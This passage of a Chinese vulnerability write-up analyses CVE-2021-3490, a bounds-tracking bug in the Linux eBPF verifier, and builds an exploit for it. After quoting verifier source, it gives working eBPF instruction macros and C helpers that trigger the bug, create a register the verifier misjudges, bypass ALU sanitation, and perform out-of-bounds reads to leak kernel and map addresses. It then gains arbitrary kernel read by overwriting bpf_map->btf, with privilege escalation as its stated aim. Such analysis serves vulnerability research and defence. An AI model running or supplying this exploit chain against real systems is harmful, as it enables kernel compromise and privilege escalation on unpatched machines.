                mark_reg_unknown(env, regs, insn->dst_reg);
                break;
        }

        /* ALU32 ops are zero extended into 64bit register */
        if (alu32)
                zext_32_to_64(dst_reg);

        __update_reg_bounds(dst_reg);
        __reg_deduce_bounds(dst_reg);
        __reg_bound_offset(dst_reg);
        return 0;
}

__reg_deduce_bounds() 主要再做一次边界调整校验的工作,这里 32 位与 64 位都用的同一套逻辑:

  • 若有符号最小值边界大于等于 0 或 有符号最大值边界小于 0 ,则更新有符号最小值边界为有符号与无符号最小值边界中的最大值,并更新有符号最大值边界为有符号与无符号最大值边界中的最小值,之后直接返回

  • 若无符号最大值边界没有超过有符号范围(最高位不为1),则将有符号最小值设为无符号最小值,有符号最大值设为有符号与无符号最大值中的最小值

  • 否则,若无符号最小值边界超过有符号范围(最高位为1),则将有符号最小值设为有符号与无符号最小值中的最大值,将有符号最大值设为无符号最大值

 复制代码 隐藏代码
/* 使用有符号的最小/最大值赋值无符号, 反之亦然 */
static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
{
        /* 从有符号边界中获取符号.
         * 若我们无法穿过符号边界,有符号与无符号边界相同,故合并.
         * 这在负数情况下也有用,例如:
         * -3 s<= x s<= -1 意味着 0xf...fd u<= x u<= 0xf...ff.
         */

        if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
                reg->s32_min_value = reg->u32_min_value =
                        max_t(u32, reg->s32_min_value, reg->u32_min_value);
                reg->s32_max_value = reg->u32_max_value =
                        min_t(u32, reg->s32_max_value, reg->u32_max_value);
                return;
        }
        /* 从无符号边界中获取边界.  
         * 有符号边界穿过了有符号范围,我们必须小心.
         */

        if ((s32)reg->u32_max_value >= 0) {
                /* 正数. 我们无法从 smin 获取任何东西,
                 * 但 smax 是正数,因此是安全的.
                 */

                reg->s32_min_value = reg->u32_min_value;
                reg->s32_max_value = reg->u32_max_value =
                        min_t(u32, reg->s32_max_value, reg->u32_max_value);
        } else if ((s32)reg->u32_min_value < 0) {
                /* 负数.  我们无法从 smax 获取任何东西,
                 * 但 smin 是负数,因此是安全的.
                 */

                reg->s32_min_value = reg->u32_min_value =
                        max_t(u32, reg->s32_min_value, reg->u32_min_value);
                reg->s32_max_value = reg->u32_max_value;
        }
}

static void __reg64_deduce_bounds(struct bpf_reg_state *reg)
{
        /* Learn sign from signed bounds.
         * If we cannot cross the sign boundary, then signed and unsigned bounds
         * are the same, so combine.  This works even in the negative case, e.g.
         * -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
         */

        if (reg->smin_value >= 0 || reg->smax_value < 0) {
                reg->smin_value = reg->umin_value = max_t(u64, reg->smin_value,
                                                          reg->umin_value);
                reg->smax_value = reg->umax_value = min_t(u64, reg->smax_value,
                                                          reg->umax_value);
                return;
        }
        /* Learn sign from unsigned bounds.  Signed bounds cross the sign
         * boundary, so we must be careful.
         */

        if ((s64)reg->umax_value >= 0) {
                /* Positive.  We can't learn anything from the smin, but smax
                 * is positive, hence safe.
                 */

                reg->smin_value = reg->umin_value;
                reg->smax_value = reg->umax_value = min_t(u64, reg->smax_value,
                                                          reg->umax_value);
        } else if ((s64)reg->umin_value < 0) {
                /* Negative.  We can't learn anything from the smax, but smin
                 * is negative, hence safe.
                 */

                reg->smin_value = reg->umin_value = max_t(u64, reg->smin_value,
                                                          reg->umin_value);
                reg->smax_value = reg->umax_value;
        }
}

static void __reg_deduce_bounds(struct bpf_reg_state *reg)
{
        __reg32_deduce_bounds(reg);
        __reg64_deduce_bounds(reg);
}

__reg_bound_offset() 则是基于边界值范围重新计算 var_off 的值:

  • tnum_range():取 min 中 min、max 的低位相同位部分,从第一个不同位开始设为未知

  • tnum_intersect():取 a、b 的共有已知为 1 的位

 复制代码 隐藏代码
struct tnum tnum_range(u64 min, u64 max)
{
        u64 chi = min ^ max, delta;
        u8 bits = fls64(chi); // 找到为 1 的最低位

        /* 特殊情况, 需要这样因为 1ULL << 64 是未定义的 */
        if (bits > 63)
                return tnum_unknown;
        /* 例如若 chi = 4, bits = 3, delta = (1<<3) - 1 = 7.
         * 若 chi = 0, bits = 0, delta = (1<<0) - 1 = 0,
         *  故我们返回常数 min (因为 min == max).
         */

        delta = (1ULL << bits) - 1;
        return TNUM(min & ~delta, delta);
}

/* 需要注意的是若 a 与 b 不同意 - 即其一有一个 'known 1' 而另一个则
* 有一个 'known 0' - 这将为该位返回一个 'known 1'.
*/

struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
        u64 v, mu;

        v = a.value | b.value;
        mu = a.mask & b.mask;
        return TNUM(v & ~mu, mu);
}

/* 尝试基于无符号最小/最大值改进 var_off 信息 */
static void __reg_bound_offset(struct bpf_reg_state *reg)
{
        struct tnum var64_off = tnum_intersect(reg->var_off,
                                               tnum_range(reg->umin_value,
                                                          reg->umax_value));
        struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),
                                                tnum_range(reg->u32_min_value,
                                                           reg->u32_max_value));

        reg->var_off = tnum_or(tnum_clear_subreg(var64_off), var32_off);
}

这两个操作在这里都不会影响 R2 的值

poc

现在我们来构造能够触发该漏洞的两个寄存器 R2 = { .value = 1, mask = 0xffffffff00000000 } 与 R3 = { .value = 0x100000002, mask = 0 },其中 R3 可以直接通过赋值构造一个 known 的寄存器, R2 需要一半已知一半未知,可以通过 从 map 中取出一个值进行赋值 的方式先构造出一个 unknown 的寄存器,再与 0xffffffff00000000 做 AND 操作使其低 32 位变为 known:

 复制代码 隐藏代码
#define POC_PROG(__map_fd)                              
        /* Load value from map */                       
        BPF_LD_MAP_FD(BPF_REG_9, __map_fd),            
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),            
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),           
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),         
        BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),            
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
        /* if success, r0 will be ptr to value, 0 for failed */              
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),         
        BPF_EXIT_INSN(),                                
        /* load value into r2, make it part-unknown */  
        BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_0, 0),   
        BPF_MOV64_IMM(BPF_REG_4, 0xffffffff),           
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32),         
        BPF_ALU64_REG(BPF_AND, BPF_REG_2, BPF_REG_4),   
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x1),         
        /* r3 = 0x100000002 */                          
        BPF_MOV64_IMM(BPF_REG_3, 0x1),                  
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32),         
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x2),         
        /* triger the vulnerability */                  
        BPF_ALU64_REG(BPF_AND, BPF_REG_2, BPF_REG_3)

把这个程序载入内核过一遍 verifier,简单打印下日志,可以看到我们确乎构造出了一个最小边界值为 1、最大边界值为 0 的寄存器

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

0x02. 漏洞利用

接下来我们考虑如何利用这个漏洞完成提权,现在我们有了一个 32 位边界值为 [1,0] 、32位推测值与32位运行时值都为 0 的寄存器,接下来我们考虑如何构造一个verifier 推测值与运行时值不同的寄存器,从而继续完成后续利用

一、构造边界值为 [1, 0] 的寄存器

第一步还是先利用漏洞构造一个最小边界值为 1、最大边界值为 0 的寄存器,因为 R1~R5 有的时候要用来作为函数参数,所以这里我们改为在 R6 上继续构造

因为读取 map 的操作代码行数太长了(),所以笔者现在给他封装到一个 BPF_READ_ARRAY_MAP_IDX() 宏里:

 复制代码 隐藏代码
#define VULN_REG BPF_REG_6

#define BPF_READ_ARRAY_MAP_IDX(__idx, __map_fd, __dst_reg)                  
        /* get a pointer to bpf_array */               
        BPF_LD_MAP_FD(BPF_REG_9, __map_fd),            
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),            
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),           
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),         
        BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, __idx),        
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
        /* if success, r0 will be ptr to value, 0 for failed */              
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),         
        BPF_EXIT_INSN(),                                
        /* mov the result back and clear R0 */         
        BPF_MOV64_REG(__dst_reg, BPF_REG_0),            
        BPF_MOV64_IMM(BPF_REG_0, 0)


#define TRIGGER_VULN(__map_fd)                          
        /* load value into r2, make it part-unknown */  
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_8),
        BPF_LDX_MEM(BPF_DW, VULN_REG, BPF_REG_8, 0),   
        BPF_MOV64_IMM(BPF_REG_4, 0xffffffff),           
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32),         
        BPF_ALU64_REG(BPF_AND, VULN_REG, BPF_REG_4),   
        BPF_ALU64_IMM(BPF_ADD, VULN_REG, 0x1),         
        /* r3 = 0x100000002 */                          
        BPF_MOV64_IMM(BPF_REG_3, 0x1),                  
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32),         
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x2),         
        /* triger the vulnerability */                  
        BPF_ALU64_REG(BPF_AND, VULN_REG, BPF_REG_3)

二、构造运行时为 1、verifier 确信为 0 的寄存器

我们还是考虑继续在 32 位上做文章,假如我们构造出另一个 32 位边界值为 [0, 1] 、32位运行时值为 0 寄存器 R7,将这个寄存器与我们的 R6 相加,其边界值计算其实就是检查是否有溢出然后简单的把两个寄存器边界相加:

 复制代码 隐藏代码
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
                                 struct bpf_reg_state *src_reg)
{
        s32 smin_val = src_reg->s32_min_value;
        s32 smax_val = src_reg->s32_max_value;
        u32 umin_val = src_reg->u32_min_value;
        u32 umax_val = src_reg->u32_max_value;

        if (signed_add32_overflows(dst_reg->s32_min_value, smin_val) ||
            signed_add32_overflows(dst_reg->s32_max_value, smax_val)) {
                dst_reg->s32_min_value = S32_MIN;
                dst_reg->s32_max_value = S32_MAX;
        } else {
                dst_reg->s32_min_value += smin_val;
                dst_reg->s32_max_value += smax_val;
        }
        if (dst_reg->u32_min_value + umin_val < umin_val ||
            dst_reg->u32_max_value + umax_val < umax_val) {
                dst_reg->u32_min_value = 0;
                dst_reg->u32_max_value = U32_MAX;
        } else {
                dst_reg->u32_min_value += umin_val;
                dst_reg->u32_max_value += umax_val;
        }
}

此时我们的寄存器 R6 32位边界值为 [1, 1],之后 verifier 会调用 __reg_bound_offset() 反向赋值给 var_off,此时我们的 var_off 的 32 位值便为 1,但实际上的 32 位值为 0,我们便获得了一个运行时为 0 、verifier 认为是 1 的寄存器

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

这样一个寄存器好像对我们来说没有太多作用,但如果我们再给 R6 加上 1 ,从而使得 32 位 var_off 变为 2但实际上的 32 位值为 1,我们再将 R6 与 1 做 & 运算,verifier 便会认为该寄存器的值变为 0,但其实际上的运行时值为 1

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

有了这样一个寄存器,后面我们就可以开始为所欲为了:)

对于 R7 的构造,我们可以先从 map 中取值获取一个 verifier 全不可知的寄存器,之后利用 32 位判断跳转指令 BPF_JMP32_IMM(BPF_JLE, BPF_REG_7, 1, 2) 使其变为 { .var_off = 0, .mask = 0xffffffff00000001} 即可,map 中的值是我们可控的所以我们可以使其运行时值为 0 :

注:你也可以先给 R6 += 1 再 R6 &= R7,效果是一样的

 复制代码 隐藏代码
#define MAKE_VULN_REG(__map_fd)                        
        /* load value into r3, make it [0, 1] under 32 bit */               
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_8),
        BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),   
        BPF_JMP32_IMM(BPF_JLE, BPF_REG_7, 1, 2),        
        BPF_MOV64_IMM(BPF_REG_0, 0),                    
        BPF_EXIT_INSN(),                                
        BPF_ALU64_REG(BPF_ADD, VULN_REG, BPF_REG_7),   
        BPF_ALU64_IMM(BPF_ADD, VULN_REG, 0x1),         
        BPF_ALU64_IMM(BPF_AND, VULN_REG, 0x1),         
        BPF_MOV64_IMM(BPF_REG_0, 0)

可能大家会想到对于条件跳转指令而言 verifier 主要根据边界值进行判断,或许我们能够构造一个运行时为真但 verifier 认为假的条件跳转语句(例如 BPF_JMP32_IMM(BPF_JGE, BPF_REG_6, 1, 1))并在 verifier 认为恒为假但运行时为真的分支中隐藏恶意指令:

 复制代码 隐藏代码
static int is_branch32_taken(struct bpf_reg_state *reg, u32 val, u8 opcode)
{
        struct tnum subreg = tnum_subreg(reg->var_off);
        s32 sval = (s32)val;

        switch (opcode) {
        //...
        case BPF_JGE:
                if (reg->u32_min_value >= val)
                        return 1;
                else if (reg->u32_max_value < val)
                        return 0;

但这并不是一个可行的方案,因为对于不可达指令(dead code),verifier会将其 patch 为跳转回条件分支指令,从而导致我们无法在此处藏入恶意代码:

 复制代码 隐藏代码
static void sanitize_dead_code(struct bpf_verifier_env *env)
{
        struct bpf_insn_aux_data *aux_data = env->insn_aux_data;
        struct bpf_insn trap = BPF_JMP_IMM(BPF_JA, 0, 0, -1);
        struct bpf_insn *insn = env->prog->insnsi;
        const int insn_cnt = env->prog->len;
        int i;

        for (i = 0; i < insn_cnt; i++) {
                if (aux_data[i].seen)
                        continue;
                memcpy(insn + i, &trap, sizeof(trap));
        }
}

三、内核地址泄露

接下来我们考虑如何泄露内核地址,比较容易想到的是我们或许可以通过这个运行时为 1 而 verifier 认为是 0 的寄存器构造一些越界读取,而 map 是我们能够直接接触到的指针之一,因此我们可以尝试从此处下手

我们是否可以直接向  BPF_FUNC_map_lookup_elem()  传入一个 verifier 确信为 0 但实际上是负数的寄存器呢?答案是否定的,因为对于 BPF_MAP_TYPE_ARRAY 类型的 map 而言在查找元素时实际上会调用到 array_map_lookup_elem() ,其 index 为无符号类型,因此我们无法前向读取:

 复制代码 隐藏代码
/* Called from syscall or from eBPF program */
static void *array_map_lookup_elem(struct bpf_map *map, void *key)
{
        struct bpf_array *array = container_of(map, struct bpf_array, map);
        u32 index = *(u32 *)key;

        if (unlikely(index >= array->map.max_entries))
                return NULL;

        return array->value + array->elem_size * (index & array->index_mask);
}

但当我们在 eBPF 程序中调用 BPF_FUNC_map_lookup_elem()  时,其返回值为指向 value 的指针,而这个指针是允许与常量做运算的(类型为 PTR_TO_MAP_VALUE ),由于我们有一个 verifier 认为是 0 的寄存器,我们可以轻松绕过对指针范围的检查并完成越界读取......吗?

ALU Sanitation bypass

ALU Sanitation 是一个用于运行时动态检测的功能,通过对程序正在处理的实际值进行运行时检查以弥补 verifier 静态分析的不足,这项技术通过调用 fixup_bpf_calls() 为 eBPF 程序中的每一条指令的前面都添加上额外的辅助指令来实现

对于 BPF_ADD 及 BPF_SUB 这样的指令而言,会添加如下辅助指令:

 复制代码 隐藏代码
static int fixup_bpf_calls(struct bpf_verifier_env *env)
{
        //...

        for (i = 0; i < insn_cnt; i++, insn++) {
                //...
                if (insn->code == (BPF_ALU64 | BPF_ADD | BPF_X) ||
                    insn->code == (BPF_ALU64 | BPF_SUB | BPF_X)) {
                        const u8 code_add = BPF_ALU64 | BPF_ADD | BPF_X;
                        const u8 code_sub = BPF_ALU64 | BPF_SUB | BPF_X;
                        struct bpf_insn insn_buf[16];
                        struct bpf_insn *patch = &insn_buf[0];
                        bool issrc, isneg;
                        u32 off_reg;

                        aux = &env->insn_aux_data[i + delta];
                        if (!aux->alu_state ||
                            aux->alu_state == BPF_ALU_NON_POINTER)
                                continue;

                        isneg = aux->alu_state & BPF_ALU_NEG_VALUE;
                        issrc = (aux->alu_state & BPF_ALU_SANITIZE) ==
                                BPF_ALU_SANITIZE_SRC;

                        off_reg = issrc ? insn->src_reg : insn->dst_reg;
                        if (isneg)
                                *patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1);
                        *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);
                        *patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
                        *patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
                        *patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
                        *patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
                        if (issrc) {
                                *patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX,
                                                         off_reg);
                                insn->src_reg = BPF_REG_AX;
                        } else {
                                *patch++ = BPF_ALU64_REG(BPF_AND, off_reg,
                                                         BPF_REG_AX);
                        }
                        if (isneg)
                                insn->code = insn->code == code_add ?
                                             code_sub : code_add;
                        *patch++ = *insn;
                        if (issrc && isneg)
                                *patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1);
                        cnt = patch - insn_buf;

                        new_prog = bpf_patch_insn_data(env, i + delta, insn_buf, cnt);
                        if (!new_prog)
                                return -ENOMEM;

                        delta    += cnt - 1;
                        env->prog = prog = new_prog;
                        insn      = new_prog->insnsi + i + delta;
                        continue;
                }

其中 aux->alu_limit 为当前指针运算范围,初始时为 0,与指针所做的常量运算同步,对于减法而言可读范围为 (ptr - alu_limit, ptr] (以指针最初指向的地址为 0),因此我们还需要绕过这个检查

由于我们有运行时为 1、verifier 认为是 0 的寄存器,我们可以这样调整范围:

  • 构造另外一个同样是运行时值为 1、verifier 认为是 0 的寄存器 R8

  • 将 R8 乘上一个不大于 value size 的值(例如 value size 为 0x1000R8 便设为 0x1000

  • 将指向 map 第一个元素第一个字节 value[0] 的寄存器(假设为 R7 )先加上 0x1000,此时 alu_limit 变为 0x1000R7 指向 value[0x1000]

  • R7 -= R8,由于 verifier 认为 R8 为 0,因此 alu_limit 保持不变,但 R7 实际上已经指回了 value[0]

由此我们便能继续愉快地进行前向的越界读了

注:在内核版本 5.11.8 之前 ALU Sanitation 存在一个漏洞,即 aux_alu_limit 被初始化为 0 从而导致 0-1 造成整型溢出变为一个巨大的值,在这个 commit 中才被修复,因此对于 5.11.8 之前版本的内核而言是不需要绕过该检查的

OOB-read on bpf_array

现在让我们来看看这个存放数据的位置附近有没有什么有趣的数据,对于 BPF_MAP_TYPE_ARRAY 类型 的 map 而言,其 wrapper 为 bpf_array 类型(即 bpf_map 内嵌于该结构体中),数据则直接存放在其内部的 value 数组成员当中,因此在查找元素时我们获得的其实是一个指向 bpf_array 内部的指针:

 复制代码 隐藏代码
struct bpf_array {
        struct bpf_map map;
        u32 elem_size;
        u32 index_mask;
        struct bpf_array_aux *aux;
        union {
                DECLARE_FLEX_ARRAY(char, value) __aligned(8);
                DECLARE_FLEX_ARRAY(void *, ptrs) __aligned(8);
                DECLARE_FLEX_ARRAY(void __percpu *, pptrs) __aligned(8);
        };
};

因此我们只需要前向读取便能读取到 bpf_map,之后通过 bpf_map 的函数表(bpf_map->ops )便能泄露出内核地址,这里我们将 bpf_array_ops 的值读取到 map[1] 中:

 复制代码 隐藏代码
#define READ_KERNEL_INFO(__map_fd)                     
        /* extend the alu->limit and do the oob read */
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7),
        BPF_MOV64_REG(BPF_REG_8, VULN_REG),            
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000),      
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000),      
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),   
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0x110),        
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),   
        /* save the value into map */                  
        BPF_READ_ARRAY_MAP_IDX(1, __map_fd, BPF_REG_7),
        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0)

成功泄露出内核地址:

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

笔者本来想直接写一个循环直接往前盲读 page_offset_base + 0x9d000 (通过物理地址 0 处数据定位),但是  verifier 要求不能有回向边  ,所以这里还是老老实实地看 bpf_array 周围的数据:)

Leak map address

当我们在调用辅助函数 BPF_FUNC_map_lookup_elem() 时,该函数会返回一个指向 value 的指针,我们是否能够直接将这个值存放到 map 当中从而泄露出 map 地址?通常情况下答案是否定的,verifier 会检查寄存器的类型并阻止指针泄露的情况发生

现在让我们思考如何利用我们的漏洞寄存器绕过这个限制,注意到 verifier 在跟踪指针寄存器与常量寄存器间运算时会调用到 adjust_ptr_min_max_vals() :

 复制代码 隐藏代码
static int adjust_reg_min_max_vals(struct bpf_verifier_env *env,
                                   struct bpf_insn *insn)
{
        struct bpf_verifier_state *vstate = env->cur_state;
        struct bpf_func_state *state = vstate->frame[vstate->curframe];
        struct bpf_reg_state *regs = state->regs, *dst_reg, *src_reg;
        struct bpf_reg_state *ptr_reg = NULL, off_reg = {0};
        u8 opcode = BPF_OP(insn->code);
        int err;

        dst_reg = ®s[insn->dst_reg];
        src_reg = NULL;
        if (dst_reg->type != SCALAR_VALUE)
                ptr_reg = dst_reg;
        else
                /* Make sure ID is cleared otherwise dst_reg min/max could be
                 * incorrectly propagated into other registers by find_equal_scalars()
                 */

                dst_reg->id = 0;
        if (BPF_SRC(insn->code) == BPF_X) {
                src_reg = ®s[insn->src_reg];
                if (src_reg->type != SCALAR_VALUE) {
                        //...
                } else if (ptr_reg) {
                        /* pointer += scalar */
                        err = mark_chain_precision(env, insn->src_reg);
                        if (err)
                                return err;
                        return adjust_ptr_min_max_vals(env, insn,
                                                       dst_reg, src_reg);
                }
        }

而在 adjust_ptr_min_max_vals() 当中有这样一个逻辑:如果源寄存器的边界存在 smin_val > smax_val || umin_val > umax_val 的情况,则直接将目的寄存器设为 unknown

 复制代码 隐藏代码
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
                                   struct bpf_insn *insn,
                                   const struct bpf_reg_state *ptr_reg,
                                   const struct bpf_reg_state *off_reg)
{
        struct bpf_verifier_state *vstate = env->cur_state;
        struct bpf_func_state *state = vstate->frame[vstate->curframe];
        struct bpf_reg_state *regs = state->regs, *dst_reg;
        bool known = tnum_is_const(off_reg->var_off);
        s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,
            smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;
        u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,
            umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;
        u32 dst = insn->dst_reg, src = insn->src_reg;
        u8 opcode = BPF_OP(insn->code);
        int ret;

        dst_reg = ®s[dst];

        if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
            smin_val > smax_val || umin_val > umax_val) {
                /* Taint dst register if offset had invalid bounds derived from
                 * e.g. dead branches.
                 */

                __mark_reg_unknown(env, dst_reg);
                return 0;
        }
        //...

而 __mark_reg_unknown() 则会直接将寄存器设为标量值类型,这样的值可以直接存入 map 而不会被 verifier 限制

 复制代码 隐藏代码
static void __mark_reg_unknown(const struct bpf_verifier_env *env,
                               struct bpf_reg_state *reg)
{
        /*
         * Clear type, id, off, and union(map_ptr, range) and
         * padding between 'type' and union
         */

        memset(reg, 0, offsetof(struct bpf_reg_state, var_off));
        reg->type = SCALAR_VALUE;
        reg->var_off = tnum_unknown;
        reg->frameno = 0;
        reg->precise = env->subprog_cnt > 1 || !env->bpf_capable;
        __mark_reg_unbounded(reg);
}

由此我们便可以通过将指针寄存器与一个漏洞寄存器进行算术运算来绕过这个限制,从而泄露出 map 的地址,需要注意的是我们的漏洞寄存器的第 33 位是 unknown 的,我们需要将其进行截断以消去

我们应当尽量减少截断时 verifier 对寄存器的跟踪,因此这里直接用 mov ,如果使用 and 0xffffffff 这样的操作则没法消除掉 unknown 位,少 and 几位则会导致寄存器边界值和 var_off 重新更新

 复制代码 隐藏代码
#define LEAK_MAP_ADDR(__map_fd)                        
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7),
        BPF_MOV32_REG(VULN_REG, VULN_REG),              
        BPF_ALU64_REG(BPF_ADD, BPF_REG_7, VULN_REG),   
        BPF_READ_ARRAY_MAP_IDX(1, __map_fd, BPF_REG_8),
        BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0)


int leak_map_addr(int map_fd)
{
    struct bpf_insn prog[] = {
        TRIGGER_VULN(map_fd),
        LEAK_MAP_ADDR(map_fd),
        BPF_EXIT_INSN()
    };

    return run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0);
}

这里需要注意我们获得的地址是指向 bpf_array.value 的,需要自行计算偏移:

[漏洞分析] 【CVE-2021-3490】eBPF verifier 32 位边界计算错误漏洞分析与利用

这里我们可以注意到 bpf_map 并不在 direct mapping area 上,应该是调用了 vmalloc,笔者推测可能是因为我们分配的 map 太大的缘故:)

四、任意地址读,泄露进程地址

接下来我们考虑如何完成任意地址读,由于我们能够读写 bpf_map 中的数据,故考虑从此处下手:)

BPF Type Format(BTF)是一种元数据格式,用于给 eBPF 提供一些额外的信息,在内核中使用 btf 结构体表示一条 btf 信息:

 复制代码 隐藏代码
struct btf {
        void *data;
        struct btf_type **types;
        u32 *resolved_ids;
        u32 *resolved_sizes;
        const char *strings;
        void *nohdr_data;
        struct btf_header hdr;
        u32 nr_types; /* includes VOID for base BTF */
        u32 types_size;
        u32 data_size;
        refcount_t refcnt;
        u32 id;
        struct rcu_head rcu;

        /* split BTF support */
        struct btf *base_btf;
        u32 start_id; /* first type ID in this BTF (0 for base BTF) */
        u32 start_str_off; /* first string offset (0 for base BTF) */
        char name[MODULE_NAME_LEN];
        bool kernel_btf;
};

注意到在 bpf_map 当中刚好有一个指向 struct btf 的指针:

 复制代码 隐藏代码
struct bpf_map {
        //...
        struct btf *btf;

bpf_map->btf 在什么时候会被访问到?注意到 bpf 系统调用给我们提供的选项中有一个为 BPF_OBJ_GET_INFO_BY_FD

 复制代码 隐藏代码
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
        //...

        switch (cmd) {
        //...
        case BPF_OBJ_GET_INFO_BY_FD:
                err = bpf_obj_get_info_by_fd(&attr, uattr);
                break;

对于 map 类型而言最终会调用到 bpf_map_get_info_by_fd() ,在该函数中会把 bpf_map->btf.id 拷贝给用户空间

 复制代码 隐藏代码
static int bpf_map_get_info_by_fd(struct file *file,
                                  struct bpf_map *map,
                                  const union bpf_attr *attr,
                                  union bpf_attr __user *uattr)
{
        //...

        if (map->btf) {
                info.btf_id = btf_obj_id(map->btf);
                info.btf_key_type_id = map->btf_key_type_id;
                info.btf_value_type_id = map->btf_value_type_id;
        }
        //...

        if (copy_to_user(uinfo, &info, info_len) ||
            put_user(info_len, &uattr->info.info_len))
                return -EFAULT;

        return 0;
}

static int bpf_obj_get_info_by_fd(const union bpf_attr *attr,
                                  union bpf_attr __user *uattr)
{
        int ufd = attr->info.bpf_fd;
        struct fd f;
        int err;

        if (CHECK_ATTR(BPF_OBJ_GET_INFO_BY_FD))
                return -EINVAL;

        f = fdget(ufd);
        if (!f.file)
                return -EBADFD;

        if (f.file->f_op == &bpf_prog_fops)
                err = bpf_prog_get_info_by_fd(f.file, f.file->private_data, attr,
                                              uattr);
        else if (f.file->f_op == &bpf_map_fops)
                err = bpf_map_get_info_by_fd(f.file, f.file->private_data, attr,
                                             uattr);

我们不难想到的是我们可以通过控制 btf 指针的方式完成任意地址读,代码如下:

 复制代码 隐藏代码
#define READ_ARBITRARY_ADDR(__map_fd, __idx)            
        /* extend the alu->limit and do the oob read */
        BPF_READ_ARRAY_MAP_IDX(0, __map_fd, BPF_REG_7),
        BPF_MOV64_REG(BPF_REG_8, VULN_REG),            
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000),      
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x1000),      
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),   
        BPF_ALU64_IMM(BPF_MUL, VULN_REG, 0xd0),         
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, VULN_REG),   
        /* write the value into bpf_map->btf */         
        BPF_READ_ARRAY_MAP_IDX(__idx, __map_fd, BPF_REG_8),     
        BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 0),   
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 0x58),        
        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_1, 0)


static size_t read_arbitrary_addr_4_bytes(int map_fd, int idx)
{
    struct bpf_insn prog[] = {
        TRIGGER_VULN(map_fd),
        MAKE_VULN_REG(map_fd),
        READ_ARBITRARY_ADDR(map_fd, idx),
        BPF_EXIT_INSN()
    };
    struct bpf_map_info info;
    union bpf_attr attr = {
        .info.bpf_fd = map_fd,
        .info.info_len = sizeof(info),
        .info.info = (uint64_t) &info,
    };
    size_t data;
    int ret;

    ret = run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1);
    if (ret < 0) {
        return 0;
    }

    memset(&info, 0, sizeof(info));
    ret = bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
    if (ret < 0) {
        return 0;
    }

    data = info.btf_id;

    return data;
}

